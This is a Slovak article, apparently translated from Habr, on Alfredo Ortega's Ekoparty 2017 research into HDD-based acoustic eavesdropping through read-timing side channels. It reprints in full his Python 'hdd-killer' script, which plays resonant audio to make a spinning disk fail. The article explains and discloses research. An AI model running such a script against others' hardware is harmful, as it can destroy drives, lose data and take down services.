Prečo by ste nemali kričať na váš HDD

Prečo by ste nemali kričať na váš HDD

Na konferencii o počítačovej bezpečnosti Ekoparty 2017 v Buenos Aires ukázal argentínsky hacker Alfredo Ortega veľmi zaujímavý vývoj – systém na skryté odpočúvanie priestorov bez použitia mikrofónu. Zvuk zaznamenané priamo na pevný disk!

HDD sníma hlavne nízkofrekvenčné zvuky vysokej intenzity, kroky a iné vibrácie. Ľudskú reč zatiaľ nemožno rozpoznať, hoci vedci robia výskum v tomto smere (rozpoznávanie reči pomocou nízkofrekvenčných vibrácií, ktoré sú zaznamenané napr. z gyroskopu alebo HDD).

Zvuk je vibrácia vzduchu alebo iného média. Človek ich vníma cez bubienok, ktorý prenáša vibrácie do vnútorného ucha. Mikrofón je riešený zhruba ako ucho – aj tu sú vibrácie snímané tenkou membránou, ktorá vybudí elektrický impulz. Pevný disk samozrejme podlieha aj mikroskopickým vibráciám v dôsledku kolísania okolitého vzduchu. Je to známe aj z technických charakteristík pevných diskov: výrobcovia zvyčajne udávajú maximálnu povolenú úroveň vibrácií a samotný pevný disk sa ho často pokúša umiestniť do nádoby odolnej voči vibráciám vyrobenej z gumy alebo iného izolačného materiálu. Z toho je ľahké usúdiť, že zvuky je možné nahrávať pomocou HDD. Zostáva už len vymyslieť ako.

Alfredo Ortega navrhol jedinečnú verziu útoku bočným kanálom, konkrétne časový útok. Tento útok je založený na predpoklade, že na zariadení sa v rôznych časoch vykonávajú rôzne operácie v závislosti od zadaných vstupných údajov. V tomto prípade sú „vstupnými údajmi“ vibrácie čítacej hlavy a platne HDD, ktoré korelujú s vibráciami prostredia, teda so zvukom. Takže meraním výpočtového času a vykonaním štatistickej analýzy údajov možno merať vibrácie hlavy/platne a tým aj vibrácie média. Čím dlhšie je oneskorenie pri čítaní údajov, tým silnejšie sú vibrácie HDD, a teda aj hlasnejší zvuk.

Ako merať vibrácie pevného disku? Veľmi jednoduché: stačí spustiť systémové volanie read () — a zaznamenajte čas potrebný na dokončenie. Moderné operačné systémy umožňujú čítať časovanie systémových hovorov s presnosťou na nanosekundy.

Rýchlosť čítania informácií zo sektora závisí od polohy hlavy a taniera, čo koreluje s vibráciami krytu HDD. To je všetko.

Štatistická analýza sa vykonáva pomocou jednoduchej pomôcky Kscope. Ako sa hovorí, všetko dômyselné je jednoduché.

Prečo by ste nemali kričať na váš HDD
Nástroj Kscope (stat() syscall)

Kscope je malý nástroj na vizualizáciu malých rozdielov v časoch vykonávania systémových hovorov. Zdrojje k dispozícii na GitHub.

V samostatnom úložisku Čas HDD existuje verzia pomôcky nakonfigurovaná na časový útok na pevný disk, to znamená, že je nakonfigurovaná na analýzu systémového volania read ().

Ukážka záznamu zvuku pomocou HDD, obsluha utility Kscope


Samozrejme, reč sa takto rozumieť nedá, no ako snímač vibrácií sa HDD celkom hodí. Môžete napríklad zaregistrovať, ak do miestnosti s počítačom vstúpila osoba v tvrdých topánkach alebo bosá (pravdepodobne, ak má útočník obuté mäkké tenisky alebo je na podlahe hrubý koberec, HDD nebude schopný zaregistrovať vibrácie - toto stojí za kontrolu). Počítač je schopný zaregistrovať rozbité sklo alebo iné incidenty so silnou intenzitou zvuku. To znamená, že pevný disk môže slúžiť ako druh systému detekcie neoprávneného narušenia.

Zabijak HDD

Mimochodom, podobná technika môže byť použitá na deaktiváciu pevných diskov. Len tu neodstraňujeme kmity z HDD, ale naopak generujeme kmity, ktoré sú privádzané na HDD. Ak prehrávate zvuk z reproduktora na frekvencii, ktorá rezonuje s frekvenciou HDD, systém čoskoro vypne zariadenie s chybou I/O (kernel Linuxu úplne vypne HDD po ​​120 sekundách). Samotný pevný disk môže byť nenávratne poškodený.

Prečo by ste nemali kričať na váš HDD
Linuxové jadro vyplo pevný disk po 120 sekundách poskytovania zvuku na rezonančnej frekvencii cez reproduktor USB reproduktora Edifier r19u. Reproduktor je zapnutý na približne štvrtinový výkon (menej ako 100 mW) a je umiestnený 20 cm od HDD, namierený na stôl pre zosilnenie vibrácií. Rám z video s ukážkou vraha HDD

Je zvláštne, že takéto „útoky“ na HDD sa niekedy vyskytujú úplne náhodou v každodennom živote. Napríklad v septembri 2016 bolo dátové centrum ING Bank nútené prerušiť prevádzku na 10 hodín po požiarnom cvičení. Zlyhali desiatky pevných diskov kvôli hlasnému zvuku inertného plynu, ktorý sa uvoľňuje z tlakových fliaš pod vysokým tlakom. Zvuk bol veľmi hlasný (viac ako 130 dB), ale nemôžete ani kričať na pevné disky - to zvyšuje oneskorenie v prístupe k HDD.

Ukážka ľudského kričania na pevné disky v dátovom centre. Meranie latencie


Na vytvorenie rezonujúceho zvuku Alfredo Ortega napísal skript Python s názvom hdd-killer (video ukážka).

Skript na zabíjanie HDD Je pomerne malý, takže ho môžete celý zverejniť tu.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Zdroj: hab.com

Pridať komentár